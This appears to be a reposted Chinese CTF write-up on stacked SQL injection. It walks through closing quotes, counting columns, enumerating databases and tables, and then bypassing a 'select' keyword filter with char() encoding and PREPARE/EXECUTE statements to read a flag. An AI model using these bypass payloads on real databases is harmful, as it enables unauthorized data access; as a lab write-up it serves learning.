堆疊注入


什么是堆疊注入?

顧名思義,堆疊注入就是將一堆sql語句疊加在一起執行,使用分號結束上一個語句再疊加其他語句一起執行。

題目

首先嘗試閉合引號,並注釋后面的內容。

發現沒有報錯,那就判斷一下有多少列。



由此可以判斷出有兩列,接着判斷回顯位。

發現回顯了過濾規則,select是被過濾的,還有一些注入常用語句也被過濾了。

這時就可以嘗試一下堆疊注入。

發現這里爆出了所有數據庫,再來看看數據表。

發現有兩個數據表,通過查看表結構看一下哪個表里面有flag字段。

發現flag字段在1919810931114514表中,接着想辦法去讀取這個表中的flag字段的值(因為一些常用語句都被過濾了,不能直接查詢)。
這里實在不知道怎么辦了,於是百度發現大佬的wp用預處理語句繞過了過濾。

預處理語句使用方式:

SET @sql = variable;  //設置變量
PREPARE yuchuli from '[my sql sequece]';   //預定義SQL語句
EXECUTE yuchuli;  //執行預定義SQL語句sqla

這里是將我們要處理的語句先與定義為yuchuli,再進行執行,繞過關鍵字的過濾,於是就有了如下的語句。

PREPARE yuchuli from 'select * from `1919810931114514`';
EXECUTE yuchuli;

但是這里的select是被過濾的,於是想到可以對他進行編碼繞過.

SET @sql = concat(char(115,101,108,101,99,116), " * from `1919810931114514`");
PREPARE yuchuli from @sql;
EXECUTE yuchuli;


成功拿到了flag。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM